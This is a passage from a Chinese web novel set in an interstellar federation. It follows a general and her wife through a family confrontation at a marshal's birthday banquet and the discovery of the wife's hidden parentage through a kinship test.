苏管家赶忙迎上来,无奈的解释道:“上将,宋小姐,你们可算回来了。 今儿个我去接颂颂放学,这一路上啊,她小嘴就没停过,念叨着要等你们一起去接,我怎么劝都没用。这不,回到家还不肯睡,就等着你们呢。” 宋青佩和明毓对视一眼,皆是哭笑不得。 两人赶忙走到颂颂身边坐下,宋青佩率先伸出手,捏了捏颂颂肉嘟嘟的脸颊,柔声说:“是妈妈不好,今天太忙了,耽误了去接你的时间,别生气啦,好不好?” 颂颂把脸扭向一边,“哼,你们就知道忙,我在幼儿园等了好久好久,别的小朋友都被接走了,就我没有。我都跟小伙伴们说了,今天妈妈和妈咪会一起闪亮登场来接我,结果呢,就只有苏奶奶。” 明毓也赶紧温声哄着:“妈咪和妈妈实在是今天事儿太多了,你就原谅我们这一次,好不好?” 颂颂不依不饶:“哼,你们答应过的,说话不算话。” 见女儿这般气鼓鼓的模样,宋青佩和明毓心里满是愧疚。 只能绞尽脑汁想着哄孩子的法子。 宋青佩灵机一动,轻声说:“颂颂,要不今天你跟妈妈和妈咪一起睡,我们跟你讲故事好不好?” 颂颂听了这话,眼睛一下子亮了起来,“好啊!你们不会又骗我吧?” 明毓连忙点头,“妈咪给你讲开机甲的故事好不好?” 颂颂这才破涕为笑,小手拽着两人的衣角,三人一同,朝卧室走去。 来到卧室,颂颂像只欢快的小麻雀一样,一蹦一跳地爬上床,迅速钻进被窝里,还不忘给妈妈和妈咪留出位置。 宋青佩和明毓也跟着上了床,一左一右躺在颂颂身边。 刚躺下,颂颂就又开启了话匣子,小嘴巴吧啦吧啦说个不停:“妈妈,妈咪,你们今天去哪儿了呀?为什么不接我?我都跟小伙伴们炫耀我的妈妈和妈咪最厉害呢,结果放学都没看到你们……” 宋青佩一边嗯嗯地应着,一边安抚着她的情绪。 颂颂说着声音渐渐小了下去,嘴里还在时不时嘟囔几句:“你们以后不准再这样了,不然我可真要生气啦……” 嘀咕着困意渐渐袭来,她打了个大大的哈欠,别说听故事了,连话都没说完,翻了个身就睡了。 两人看着怀里小小的人儿,忍不住异口同声道: “以后答应的事不能再失言了。” “可不能再随便答应什么事了。” 说完,不由同时笑了起来。 折腾了一天,两人都累得不行,很快就先后睡着了。 卧室里,静谧温馨,三人相偎,一幅岁月静好的画面。 —— 第二天,两人都早早回家,为出席宋老元帅的寿诞做准备。 两人刚到家没多久,门铃便响了起来。 苏管家打开门,造型师艾琳娜带着她的团队走了进来。 艾琳娜笑着对两人说:“明上将,宋小姐,今天我一定把你们打扮得光彩照人。” “麻烦你了,艾琳娜。” 艾琳娜的团队迅速开始工作,为两人整理礼服,化妆、做发型。 颂颂也被动静吸引,忍不住从房间里跑了出来。 看到妈妈和妈咪坐在镜子前,被一群人围着,她顿时好奇地睁大了眼睛。 “妈妈,妈咪,你们今天好漂亮!” 她兴奋地跑过去,忍不住围着两人转来转去,时不时发出惊叹:“妈咪,你的裙子好闪啊!妈妈,你的头发好漂亮!” 艾琳娜也被颂颂逗笑了,蹲下身对她说:“小宝贝,等你长大了,阿姨也给你打扮得这么漂亮,好不好?” 颂颂开心地点头:“好!” 等收拾好,已经是一个小时后,两人这才出发。 明毓和宋青佩来到宋老元帅府邸时,门前已是车水马龙,宾客络绎不绝。 两人携手下车,瞬间吸引了不少目光。 明毓身着红色长裙,仪态万方,气场全开;宋青佩的深蓝色礼服衬得她身姿挺拔,气质不凡。两人站在一起,当真如艾琳娜所言,是一对璧人。 刚踏入府邸,就有侍者上前引路。 宋青佩不自觉地握住了明毓的手,明毓轻轻回握,“别紧张,有我在。” 行至正厅,宋老元帅一身军装,精神矍铄,正与几位老友谈笑风生。 见明毓和宋青佩进来,她的目光在两人身上停留了片刻,最终视线停在了宋青佩挽着明毓的胳膊上,眼中闪过疑惑,但很快恢复如常。 “明毓,你们来了。” 明毓上前恭敬道:“宋元帅,祝您生辰快乐,福寿安康。” 宋老元帅点了点头,目光落在宋青佩身上,问:“明毓,这位是?” 明毓笑了笑,语气坦然:“这位是我的妻子,宋青佩。” 闻言,宋老元帅眉头微微一皱,显然对“妻子”这个称呼感到意外。 她不动声色地打量着宋青佩,但并没有多问,客气地说了句,“宋小姐,我听惜寒提起过你,待会让她过来替我好好招待宋小姐。” 宋青佩拘谨地笑了笑,恭敬地说:“宋元帅,祝您福如东海,寿比南山。” 就在明毓和宋青佩与宋老元帅寒暄时,宴会厅的另一端,明老夫人在她女儿明远黛和明芮的陪同下走了进来。 她一进门,目光便落在了明毓和宋青佩身上,脸色顿时沉了下来。 明芮见状,忙低声说:“外婆,表姐今天带了宋小姐来,您要不要过去打个招呼?” 明老夫人冷哼一声,语气中带着不满:“她倒是胆子大,敢带这种人来参加宋元帅的寿宴。” “外婆,表姐和青佩都这样了,您就别再生气了。”明芮无奈的劝道。 奶奶没有理会明芮的劝说,径直朝明毓和宋青佩走去。 明毓看到她过来,低声对宋青佩说:“青佩,我奶奶来了,你别紧张,有我在。” 奶奶走到两人面前,目光冷冷地扫过宋青佩,随后看向明毓,语气中带着几分责备:“明毓,你怎么能带她来这种场合?这不是让人看笑话吗?” 明毓语气坚定:“奶奶,青佩是我的妻子,我带她来参加寿宴,理所应当。” 奶奶的脸色更加难看,压低声音说道:“明毓,你别忘了自己的身份!你是明家的继承人,怎么能随便和一个来历不明的女人结婚?你这样做,不仅丢了明家的脸,还会影响你的前途!” 见她依旧还是这套说辞,明毓原本想要在众人面前留面子的心思顿时歇了,她的眼神顿时冷了下来,语气中是不容置疑。 “奶奶,我的婚姻不需要任何人来干涉,更没什么见不得人的。” 奶奶被明毓的态度激怒,声音不由得提高了几分:“明毓!你别不识好歹!我是为你好!你知不知道,你这样做会让多少人看我们明家的笑话?” 周围的宾客听到这边的动静,纷纷投来好奇的目光,窃窃私语声四起。 “那不是明上将吗?她旁边的是谁?” “听说是她的妻子。” “明上将什么时候结的婚?没听说过啊?” “没看到明老夫人好像不承认吗?这下有好戏看了。” 宋青佩感受到周围的目光和议论,心中有苦难言,她倒没有多害怕。只是不想明毓备受议论,毕竟她现在身处高位,又因为军校的事情身处旋涡,实在不适合在这种场面闹得太难看。 于是一直沉默的她,忍不住开口道:“明老夫人,我知道你不喜欢我,但这是宋元帅的寿诞,私事就回去再说吧。” 一贯说一不二的明老夫人,怎么可能听得进去她的劝说,只觉得宋青佩仗着明毓的喜欢开始挑衅她,厉声道:“宋青佩,也不看看你的身份,这里没有你说话的份。” 宋青佩…… 她原本以为明老夫人虽然强势,但好歹智商过人,万万没想到她此刻居然像个失去理智的……疯狗,逮谁咬谁。看来被戳破思想钢印,明毓渐渐脱离她的掌控,对她的影响真的不小,以至于彻底破防,居然如此失了理智。 毕竟是明毓的奶奶,宋青佩决定闭嘴。 而明毓握住她的手,坚定地表态:“奶奶,不管您怎么想的,我和青佩在一起的决定不会变。这里毕竟是宋元帅的寿诞,有事我们回去说,您别在这失了风度。” 奶奶见明毓丝毫不退让,脸色铁青,压低了声音道:“明毓,你别以为你现在是上将,就可以不把家族放在眼里!我告诉你,如果你执意要和这个女人在一起,明家真的不会再支持你!” “奶奶,明家的支持对我来说已经不重要。” 明毓说话第一次如此直接,堪称刻薄,直接戳破了最后的体面,“我走到今天这个位置,以后是明家要靠我,而不是我靠家族的庇佑。” “你你你简直大逆不道……” 奶奶被明毓的话气得浑身发抖,正要发作, 旁边的明远黛赶紧扶着她,劝道:“妈,您气性别这么大,有事回去再说。明毓,你也少说两句。” 两人正僵持着,听到动静的宋惜寒快步走了过来,笑着打圆场:“明奶奶,您别生气,今天是我奶奶的寿宴,大家和和气气的多好。” 奶奶看了宋惜寒一眼,勉强压下怒火说:“惜寒,你倒是会说话。不过,这是我们明家的家事,你就不用帮她说话了。” 宋惜寒笑了笑,语气温和:“明奶奶,您说得对。不过,今天毕竟是我奶奶的寿宴,闹得太难看也不合适。不如这样,我先带明毓和青佩去别处待会,您也消消气,去和我奶奶说说话好不好?” 奶奶气得哼了一声,没有再多说什么,转身离开了。 见状,明远黛赶紧追上去扶明老夫人,生怕明芮跟着再惹乱子,瞪了她一眼,“芮芮,还愣着干什么,还不快去扶着点你外婆。” 明芮不情不愿地追上去,在背后给明毓竖了个大拇指。 三人见状,不由齐齐一笑。 宋惜寒松了口气,笑道:“你们俩可真是大胆,这下可热闹了。” 明毓笑了笑:“迟早要公开的,不如趁这个机会。” 宋青佩有些担忧地看着明毓:“你奶奶会不会生气?” 明毓握住她的手,柔声道:“没事,奶奶知道明家离不开我,她会想通的。” 宋惜寒看着两人,忍不住调侃:“行了,你们俩别在我面前秀恩爱了。走吧,寿宴还早着呢,要不让青佩去我房间休息会儿。” 明毓听出了宋惜寒话里的关心,宋青佩第一次面对这种场面,承受的压力也大,反正目的已经达到了。她点了点头,道:“青佩,你去惜寒房间休息会儿吧,一会我去叫你。” 从进门就被看得如芒刺背,宋青佩自然求之不得。 她跟着宋惜寒穿过人群,上了三楼,到了宋惜寒的房间。 房间是个大型的套房,外面是一个会客室,宋惜寒带她进去,道:“青佩,你先在这休息会儿吧,一会儿寿宴开始了,我让明毓来叫你了。” 知道她还要招待客人,宋青佩忙道:“好,你去忙吧。” 宋惜寒离开后,宋青佩转身坐在了沙发上,刚才置身那样紧张的场景中,确实有些紧张,精神高度紧绷。 她暗自松了一口气,放松下来,四下打量着。 下一秒,她的目光不经意间扫过墙上挂着的一张全家福照片。 照片中,宋家几代人齐聚一堂,笑容满面。她隐隐可以辨认出宋老元帅年轻一些的样子,怀中正抱着一个小女孩,应该就是宋惜寒。 在宋老元帅的两侧,左边站着一个穿军装的中年男子,右边站了两个巧笑倩兮的年轻女子,眉眼间看上去,隐隐有三分相似,一眼看上去便似姐妹。 她目光落在其中一个更年轻女子的脸上,顿时愣住了。 那女子的眉眼、神态,竟然和她记忆中的养母如此相似。 宋青佩忍不住走近几步,仔细端详着照片,心中顿时掀起了惊涛骇浪。 怎么会? 她养母为什么出现在宋家的全家福中? 虽然记忆已经模糊,但她还是隐隐记得,自己从小是被养母在垃圾星养大,那时候她还小,根本没什么记忆,如果养母不说,她会认为她就是她的亲生母亲。 可是养母告诉她,她不是她的妈妈,让她叫她小姨。 有时候她也会好奇自己父母,会忍不住追问,小姨总是会顾左言右,有时候还会偷偷在夜里哭,后来,她就不再问了。 宋青佩一阵恍惚,她坐在沙发上,目光依旧停留在那张全家福上,心中翻涌着无数疑问。她努力回忆着养母的模样,试图与照片中的女子一一对应。 然而,记忆中的养母总是忧愁的,而照片中的女子却笑得明媚灿烂。 她不禁低声喃喃:“小姨……你到底是谁?为什么会出现在宋家的全家福里?” 正当她陷入沉思时,房门被轻轻推开,宋惜寒走了进来。 她见宋青佩神思恍惚,关切地问道:“青佩,你怎么了?是不是累了?” 宋青佩回过神来,勉强笑了笑:“没事,只是有点走神。” 她顿了顿,目光再次扫过墙上的照片,犹豫了一下,还是忍不住指着照片中的女子开口问:“惜寒,这位是……?” 宋惜寒顺着她的手指看去,笑着回答:“哦,那是我小姑姑宋灼华,年轻时候的照片了。她可是我们宋家的传奇人物,不过……”她的语气忽然低沉下来,“她在二十六年前就失踪了,至今杳无音信。” “失踪了?”宋青佩心中一震,脑海中闪过养母的身影,忍不住喃喃自语:“可是……她和我养母长得太像了。” “不会吧?你是不是看错了?宋惜寒愣了一下,神色惊讶,“我小姑姑失踪这么多年,怎么可能……” 宋青佩摇了摇头,语气坚定:“我不会看错,她们真的很像。” 见她神色认真,宋惜寒也不由皱起了眉头,犹豫了许久,才低声对宋青佩说:“青佩,这件事你先别声张,我找机会先跟我奶奶说说。” “宴会马上要开始了,我们先下去了。” 宋青佩点了点头,心中却越发觉得,其中怕是有什么不为人知的秘密。 宴会厅内,灯光璀璨,宾客们举杯交谈,气氛热烈。 宋青佩心里装着事,有些心不在焉地走到明毓身旁,可又因为四周都是人,实在不方便提起刚才的事,只能强行压着。 这时,宴会司仪走上台,微笑着宣布:“各位来宾,接下来有请我们今天的寿星——宋老元帅上台致辞!” 掌声雷动,宋老元帅在众人的注视下缓步走上台。 她穿着一身军装,胸前挂满了勋章,虽然年事已高,但步伐依旧稳健。然而,她的脸上却没有太多喜悦,反而透着淡淡的落寞。 台上,宋老元帅接过话筒,目光扫过台下的宾客,声音沉稳而有力:“今天,我很高兴能看到这么多老朋友、老战友齐聚一堂。 我这一生,见证了联邦的兴衰,也经历了无数风雨。如今,我年事已高,也该退下来,让年轻人去承担更多的责任了。希望我们的年轻一代,能够继续为联邦的繁荣而努力。” 台下掌声雷动,致辞结束的宋老元帅走下了台。 总统战笠站在最前面,笑着上前道:“宋老元帅,您声如洪钟,这气势真是不减当年啊。” 宋元帅凌厉的眼神扫过战笠,语气恭敬却有些冷淡:“战总统,感谢您亲自前来。” 战笠笑容满面地回应:“宋元帅,您为联邦立下了赫赫战功,今日寿宴,我怎么能不来?联邦能有今日的繁荣,离不开您的贡献。” 宋老元帅淡淡一笑,“战总统过奖了,我只是尽了自己的本分。” 两人的对话看似客气,但却能让人从中感受到了微妙的气氛。 因为养母的事情,宋青佩对宋老元帅格外关注,见状,忍不住低声对明毓说道:“明毓,宋元帅和战总统之间……是不是有什么过节?” “宋元帅和战总统似乎有些旧怨,不过这些都是很多年前的事了,其中隐情我并不是很清楚。” 宋青佩点了点头,心中却忍不住猜测,是否和她的养母有什么关系? 宋老元帅的致辞结束后,宾客们纷纷举杯向她祝贺。 然而,宋老元帅的脸上却没有太多笑容,只是淡淡地回应了几句,便以身体不适为由,提前离开了宴会厅。 宋青佩看着她的背影,不禁想起之前看到的那张神似继母的照片,内心复杂难安,很想找个机会去跟老元帅谈谈。 看出她的不对劲,明毓忍不住小声问:“青佩,怎么了?你从刚才回来就怪怪的?” 将明毓叫到了无人处,宋青佩忍不住把刚才的事情小声告诉了她。 明毓同样惊诧不已,握住她的手,安慰道:“别急,待会儿等寿宴结束了,我带你去见宋元帅。” 这句话让宋青佩安了些心,勉强笑了笑:“谢谢你,明毓。” 两人又说了几句话,便走过去入席了,整个宴会,宋青佩心里始终没有放下悬着的心,只觉得时间过得太慢。 好不容易等宴会结束后,宋惜寒正代替宋元帅送客,宋青佩也不好直接过去,只能心焦地等着,明毓安抚地握住了她的手背, 等到最后几位客人终于离开。 宋青佩迫不及待想上前,没想到宋惜寒主动走了过来。 “明毓,青佩,你们等一下。我奶奶想见见你们。” 明毓和宋青佩对视一眼,心中都有些疑惑,但还是跟着宋惜寒来到了宋老元帅的书房。 书房内,宋老元帅坐在椅子上,神色凝重。 见到两人进来,她微微点了点头,示意她们坐下。 “明毓,宋小姐,今天辛苦你们了。” 宋老元帅说话间,目光却一直停留在宋青佩身上。 明毓和宋青佩客气了两句。 宋青佩忍不住想问出心中的疑问,宋元帅却率先开口道:“宋小姐,我听惜寒说,你养母和我女儿宋灼华长得很像?” “是的,宋元帅。”宋青佩点了点头,神色坚定:“我养母的容貌和照片中的宋灼华女士,几乎一模一样。” 宋老元帅沉默了片刻,眼神中闪过复杂的情绪。 她缓缓开口:“宋小姐,能否告诉我,你养母的名字是什么?” 宋青佩如实回答:“我养母名叫宋隐,不过……她从未跟我提起过自己的过去,我十六岁那年,她忽然不知所踪,从那我再也没见过她。”说着,她的神色黯淡下去,神色悲痛。 “宋隐……” 宋老元帅低声重复了一遍这个名字,眉头紧锁。 她似乎陷入了沉思,良久才对宋青佩说:“宋小姐,这件事我会派人去查。如果……你养母真的和我女儿有关,我希望你能告诉我更多细节。” 宋青佩点了点头:“我会的,宋元帅。” 她忍不住想再问些什么,宋老元帅却叹了口气,语气中带着疲惫:“好了,惜寒,你先带宋小姐去休息一会,我跟明毓还有些军事要说。” 宋惜寒应了一声,带着宋青佩离开了书房。 宋青佩只能告诉自己,不能冲动,等明毓出来看看情况再说。 两人离开后,房间内只剩下明毓和宋老元帅两人。 宋老元帅目光深沉地看着明毓,缓缓开口:“明毓,坐吧。” 明毓静静的地等着,宋老元帅单独留下她,显然是有重要的事情要谈。 宋老元帅沉默了片刻,目光投向窗外,仿佛在回忆什么。 她的声音低沉而缓慢:“明毓,你还记得前总统容岑吗?” 明毓微微一怔,随即点头:“记得。她是联邦历史上最年轻的女总统,也是容家的传奇人物,更是您大女儿的妻子……” 宋老元帅苦笑了一声,语气中带着悲凉:“是啊,容岑……她是个了不起的人,可惜生不逢时。当年她被指控叛国,带着我大女儿逃亡,最终却被战笠带人伏杀。她的死,不仅让容家彻底没落,也让我们宋家被排挤出军部核心,逐渐式微。” 明毓静静地听着,没有插话。 她知道,宋老元帅接下来要说的话,才是重点。 宋老元帅继续说道:“我的两个女儿,一个因为容岑的死而自杀殉情,另一个……至今生死未卜。如今二十多年过去了,五大家族中,我们宋家只能算苟延残喘。” 她的语气中带着深深的无奈和疲惫,仿佛在诉说一段不堪回首的往事。 明毓沉默了片刻,低声说道:“宋元帅,您为联邦付出了太多,宋家的困境,我们都看在眼里。” 宋老元帅摇了摇头,目光重新落在明毓身上:“明毓,我知道你是个有能力的人。宋家如今式微,惜寒虽然聪明,但终究难当大任。我会拼尽全部能力,让你成为新人元帅。只希望……你能看在旧情的份上,对宋家和惜寒庇佑一二。” “宋元帅,您放心。”明毓郑重地说:“无论我将来如何,宋家和惜寒,我都会尽力照顾。” 宋老元帅点了点头,眼中闪过欣慰:“有你这句话,我就放心了。” 她停顿了一下,语气忽然变得严肃起来:“不过,今天我留下你,还有另一件事。” 明毓重新坐下,神情*专注:“您请说。” 宋老元帅的目光变得锐利,声音低沉:“今天青佩说,她的养母和我女儿灼华长得很像。当年灼华就是带着那个孩子逃走才失去了踪迹,再加上慕容瑞雪是黑鸢花组织的人,刻意接近青佩……我怀疑,青佩可能是容岑和桃夭的女儿。” 明毓瞳孔骤然收缩,难以置信道:“这……这怎么可能?” 宋老元帅叹了口气,“我也希望这只是巧合。但青佩的经历、年龄,还有她养母的身份,都让我不得不怀疑。如果青佩真的是那个孩子……那她的身份,就非同小可。” 明毓心中五味杂陈。 她深吸一口气,努力让自己冷静下来:“宋元帅,您的意思是……?” 宋老元帅直视着她的眼睛,神色凝重道:“明毓,我希望你能找机会给青佩和我做个鉴定,如果她和我真的有亲缘关系,那应该就真的是容岑和桃夭的女儿,我们必须早做准备。” 明毓沉默了许久,声音艰涩,“……我明白了。” “明毓,这件事关系重大,你一定要谨慎处理。青佩的身份一旦曝光,不仅会引来战笠的注意,还可能引发联邦内部的动荡。” 明毓郑重地点头:“您放心,我会小心行事。” 宋老元帅点了点头,挥了挥手:“好了,你去吧。惜寒和青佩还在外面等你。” 明毓站起身,向宋老元帅行了一礼,转身离开了书房。 青佩可能是容岑的女儿…… 这个猜测,让明毓无法平静。 她站在走廊上,深吸了一口气,努力平复自己的情绪。 宋惜寒和宋青佩正站在不远处低声交谈,见明毓出来,宋青佩立刻走了过来,关切地问道:“明毓,宋元帅和你说了什么?你的脸色看起来不太好。” 明毓勉强笑了笑,伸手握住她的手:“没事,只是谈了一些军部的事情。” 宋青佩皱了皱眉,显然不太相信,但也没有多问。 她低声说:“那我们回去吧,时间不早了。” 明毓点了点头,转头对宋惜寒说道:“惜寒,我们先走了。” 宋惜寒笑着挥了挥手:“好,路上小心。” 回家的路上,明毓一直沉默不语。 宋青佩察觉到她的异样,忍不住再次问道:“明毓,你到底怎么了?从书房出来后就一直心不在焉。” 明毓看了她一眼,勉强笑道:“没事,一些军事而已。” 思虑许久,她还是决定,先不告诉宋青佩这件事。 第58章 身世揭开 一路上,宋青佩与明毓都没再说话。 宋青佩悄然观察着明毓,她眼神闪躲,不时佯装无意地望向车窗外,手指下意识地攥紧衣角,泄露了内心的慌乱。 明毓向来不善说谎,此刻种种表现,无疑昭示着她心底的不安。 宋青佩暗自揣测,宋老元帅单独留下明毓,所谈的事情必定非比寻常,绝不可能只是单纯的军事议题,更大的可能,是关乎她的身世,确切来说,与她的养母紧密相连。 之前从宋惜寒口中,她几乎已经可以断定,养母便是昔日宋家二小姐宋灼华。可为什么?一位养尊处优的千金大小姐,会带着她在垃圾星隐居多年?后来又为何莫名失踪? 慕容瑞雪的刻意接近、乌澜对黑鸢花锲而不舍的调查,诸多线索交织,如同一张紧密的大网,将她的身世层层笼罩,愈发神秘莫测。 宋青佩嘴唇微张,艰难开口:“明毓,不管什么事,别瞒我,好吗?” 明毓欲言又止。 她想到两人历经波折才重修旧好,宋青佩刚刚对她敞开心扉,她们的相处如此鲜活有趣,她实在不愿因任何事让两人重回往昔的疏离淡漠。 然而这件事非同小可,不仅牵涉宋青佩的身世,更牵系着整个联邦的权力纷争。倘若宋青佩真是容岑的女儿,如今战家手握大权,她必然会被卷入危险的漩涡中。 明毓手指微微收紧,指节泛白,张了张嘴,想要坦白,却又觉千头万绪,不知从何说起。宋青佩的身世、上一辈的恩怨、联邦的权力暗斗……这一切仿若沉甸甸的大山,压得她喘不过气。 “青佩……”她嗓音沙哑,带着几分艰涩:“给我点时间,好吗?我会告诉你一切,只是现在……还不是时候。” 宋青佩心猛地一沉,明毓的反应让她愈发笃定,事情远比想象中复杂。 她转过头,目光紧锁明毓侧脸,试图从她神情中探寻真相,可明毓神色虽平静,眼眸深处,却隐隐透着挣扎与不安。 “明毓,我不怕知晓真相。”宋青佩声音很轻,却透着坚定,“无论是什么,我都能接受。我只求……你别瞒我。” 明毓喉咙仿若被堵住,竭力让声音平稳:“青佩,我明白你担忧,可眼下……真的一两句话说不清楚。相信我,等时机成熟,我一定会原原本本告诉你。” 许久,宋青佩缓缓点头,声音低哑:“好,我信你。” 话语中虽有无奈,却也满是对明毓的信任。 她深知,明毓不是轻易隐瞒之人,既然选择不说,必有苦衷。只是这种被蒙在鼓里的感觉,仍让她心底隐隐不舒服。 悬浮车缓缓驶入家门,车内凝重的气氛依旧。 两人刚下车,颂颂便如欢快的小鸟般飞奔出来,小脸洋溢着灿烂笑容。 “妈妈!妈咪!你们总算回来了!” 颂颂跑到两人跟前,仰着小脸,眼中满是期待,“宴会好玩吗?有没有好吃的?” 宋青佩勉强挤出一丝笑容,蹲下身子,轻轻抚摸颂颂的头:“宴会挺好玩的,好吃的可多啦。宋元帅很厉害,还跟我们说了话呢。” 颂颂兴奋地拉住宋青佩的手:“真的吗?妈妈,快跟我讲讲,元帅奶奶是不是比妈咪还厉害,像个大英雄?” 看着女儿天真无邪的脸庞,宋青佩心中沉重之感稍稍缓解,轻声说:“是啊,宋元帅就像个大英雄,穿着军装,胸前挂满勋章,威风凛凛。” 颂颂听得入神,小脸上满是崇拜:“哇,我以后也要像元帅奶奶和妈咪一样,开机甲,当大英雄!” 明毓站在一旁,看着母女互动,心绪却依旧难平。 她勉强笑了笑,对颂颂说:“颂颂,时间不早了,该去睡觉了,明天还要上学呢。” 颂颂噘起小嘴,满心不情愿:“可我还想听妈妈讲故事儿呢。” 明毓蹲下身子,放柔了声音道:“明天再讲好不好?今天妈妈累了,让她先休息。” 颂颂乖巧点头:“好吧,那妈妈晚安,妈咪晚安。” “晚安,颂颂。”宋青佩轻声说道,目送颂颂回屋。 等颂颂离开,明毓看向宋青佩,声音轻柔:“青佩,你也累了,去休息吧。我去哄颂颂睡觉。” 宋青佩点头,没再说什么,转身朝卧室走去。 明毓望着她的背影,心中一阵酸楚。 她明白,自己的隐瞒已经让两人关系出现裂痕,可眼下别无选择,此刻告知宋青佩真相,若是她冲动之下做出什么不可挽回的事情,到时候,她和宋元帅都不一定能护得住她。 明毓长叹一声,走进颂颂房间。 颂颂已经乖乖躺在床上,眨巴着眼睛看着她。 “妈咪,妈妈是不是生气了?” 明毓坐在床边,轻轻抚摸颂颂的头:“没有,妈妈只是累了。别多想,快睡吧。” 颂颂点头,闭上眼睛。 明毓坐在床边,轻轻拍着颂颂的背,直至她呼吸平稳,进入梦乡。 等颂颂熟睡,明毓轻轻起身,走出房间。 她在走廊伫立片刻,目光落在宋青佩房门上,心中犹豫不定。 最终,她还是忍不住走到宋青佩房门前,轻轻推开。 房间昏暗,唯有窗外月光洒在地板上,映出一片银白。 宋青佩背对着门躺在床上,似已入睡。 明毓蹑手蹑脚走到床边,缓缓躺下,从背后轻轻抱住宋青佩,动作轻柔,生怕惊醒她。 夜色深沉,房间静谧得只能听见彼此的呼吸声。 宋青佩侧身躺着,手指无意识地攥紧被角,能感觉到明毓在身后,可两人明明相拥,却仿若隔着一堵无形的墙,谁也没打破这份沉默。 一夜辗转,两人皆难以入眠。 清晨,阳光透过窗帘缝隙洒进屋内。 明毓早早醒来,看着仍在睡梦中的宋青佩,心中满是愧疚。 她轻手轻脚起身,走出房间,来到厨房,想亲自准备早餐缓解一下两人的关系,可心不在焉之下,差点打翻了牛奶杯。 颂颂揉着惺忪睡眼走下楼,奶声奶气地问:“妈咪,你怎么啦?是不是没睡好?” 明毓回过神,勉强笑了笑:“妈咪没事,颂颂快去洗漱,一会儿吃早餐。” 颂颂听话地跑去洗漱,明毓望着她的背影,暗暗叹气。 简单准备好早餐后,她坐在餐桌前,却毫无胃口。 宋青佩走出房间,看到明毓一脸憔悴地坐在餐桌旁,心中也不好受。她走到餐桌前,坐下,拿起一块面包,慢慢咬着,却也食不知味。 气氛依旧沉闷。 颂颂看看妈妈,又瞅瞅妈咪,小声说:“妈妈,妈咪,你们今天好奇怪哦。” 明毓和宋青佩对视一眼,挤出一丝笑容,安抚颂颂几句。 送颂颂去上学后,明毓借口定时体检的日子到了,笨拙地开口:“青佩,李蔓待会儿要过来给我做定时检查,你要不要留下来一起做个身体检测?” 她声音僵硬,透着不自然,宋青佩一听便明白,这事里透着蹊跷。 虽然答应了明毓相信她,可宋青佩对于她的隐瞒还是有些不满,忍不住故意道:“我今天要是不答应,你是不是还得想别的理由给我做身体检测?” “青佩,我……” 明毓惶然地看着她,十分紧张,似乎想解释些什么,可嘴唇张合几次,又一句话也说不出来。 见她如此为难的样子,宋青佩都不由替她难受起来。 算了,既然答应了,就给她些时间吧。 宋青佩松口,“好,那就做吧。” 明毓愕然地看着她,似乎没想到她会如此轻易答应,反应过来,赶紧借口联系李蔓避开了她的继续追问。 见状,宋青佩也没多言,静静走到餐桌旁,端起一杯水,轻轻抿了一口。 大约半个小时后,李蔓到了。 “上将,我们现在开始吗。”她看向明毓问。 明毓试探地看向宋青佩,宋青佩实在烦了她这副小媳妇模样,直接开口道:“李军医,你先给我检查吧,我急着去上班。” 闻言,李蔓调整好仪器,便开始为她做常规检查。 宋青佩配合着伸出手,目光却始终落在明毓身上,见她站在一旁,神情紧张,掌心无意识地紧握,明显紧张得不行。 她的心也跟着逐沉了下去,越发觉得,真相恐怕十分棘手。 李蔓给她做完常规检查,又特意抽了血。 宋青佩看着鲜红的血液样本,眼神不由闪了闪,将抽血结合到她的身世,什么作用,几乎不言自明。 明毓见她眉心紧皱,忙想安抚,“青佩……” 不等她开口,宋青佩没好气道:“你不会撒谎,就别找借口了。我等你,愿意告诉我一切的那天。” 说完,她转身离开了客厅。 明毓望着她的背影,心中越发酸楚。 她知道,宋青佩在给她时间,可她更清楚,必须尽快,否则彼此距离只会愈发遥远。 等宋青佩离开,她立刻联系了宋元帅。 没过多久,一管低温保存的血样送到明毓手中。 她紧紧攥着,指尖冰凉,仿若握着一颗随时可能引爆的炸弹。 明毓将血样交给李蔓,声音低沉而急促:“立刻做亲缘鉴定,越快越好。” 等待的过程漫长而煎熬。 明毓坐在实验室外,双手交握,指节泛白。脑海中不断闪过宋青佩的面容,那双眼眸里的信任与依赖,而她却一次次选择隐瞒。 终于,李蔓走出实验室,手中拿着鉴定报告。 明毓猛地站起身,目光死死盯着报告,心跳如鼓。 李蔓将报告递给她,语气平静:“上将,结果显示,两人具有亲缘关系。” 明毓目光死死盯着报告结论,亲缘关系确认——宋青佩确凿无疑是宋家血脉,前总统容岑与宋桃夭的女儿。 她思绪纷乱,宋青佩身份若曝光,战笠怎么可能会放过她? 当年战笠为了上位,设计陷害前总统容岑,亲手将其逼入绝境,如今容岑的女儿尚存,他一定会不择手段的除之而后快。 明毓拳头紧握,她绝不能让宋青佩涉险,可战笠眼线遍布联邦,稍有不慎,便会万劫不复。该如何护她周全? 深吸一口气,她强迫自己冷静。 当下首要的事情,是稳住局面,不能让任何人察觉宋青佩身份。 必须尽快联系宋老元帅,商量对策。 明毓猛地攥紧报告,声音低沉而急促:“李军医,这件事绝不能泄露出去,明白吗?” 李蔓忙点头:“我明白。” 然而,明毓不知道李蔓离开后,立刻拨通一个号码,低声说:“瑞雪,宋青佩身份已经暴露,立刻开始行动。” 明毓匆匆赶去了宋元帅的府邸,步伐急促,早没了往日的沉稳与冷静。 她推开书房门,宋元帅正坐在书桌前,神色凝重望着窗外,仿若沉思。 “宋元帅。”明毓声音沙哑,将鉴定报告递过去,“结果出来了。” 宋元帅目光扫过纸页,良久,长叹一声:“果然如此。” 明毓呼吸急促,低声问:“现在怎么办?青佩身份一旦曝光,战笠绝不会放过她。” 宋元帅沉默片刻,起身道:“明毓,此事必须压住。青佩身份若泄露,不仅她自身难保,整个联邦局势都会动荡。” 明毓犹豫道:“可是……青佩有权知晓真相。” “明毓,你冷静些。”宋元帅目光锐利坚定:“青佩身份一旦曝光,战笠会不惜一切代价除掉她。你忍心看她陷入险境?当下重中之重,是保护她,而非让她卷入漩涡。” 明毓眼中闪过挣扎,声音痛苦:“可是……我不想欺骗她。她已经有所察觉,我怕她对我失去信任。” 宋元帅,轻轻拍了拍她的肩膀,语气无奈:“明毓,我知道你两难。但此刻不是感情用事的时候,青佩的安全至上,你绝不能让人察觉她的身份。” 明毓低下头,仿若巨石压心,喘不过气。 她明白宋元帅说得有道理,可一想到宋青佩说相信她,心便如刀割般疼痛。 就在这时,明毓的通讯器突然响起。 她低头一看,居然是乌澜?这时候怎么会联系她? 明毓立刻警惕起来,平复了呼吸,才接通通讯器。 “明上将,有没有兴趣做笔交易?”乌澜声音从通讯器传来,带着意味深长的笑意,“关于宋青佩的身世。” 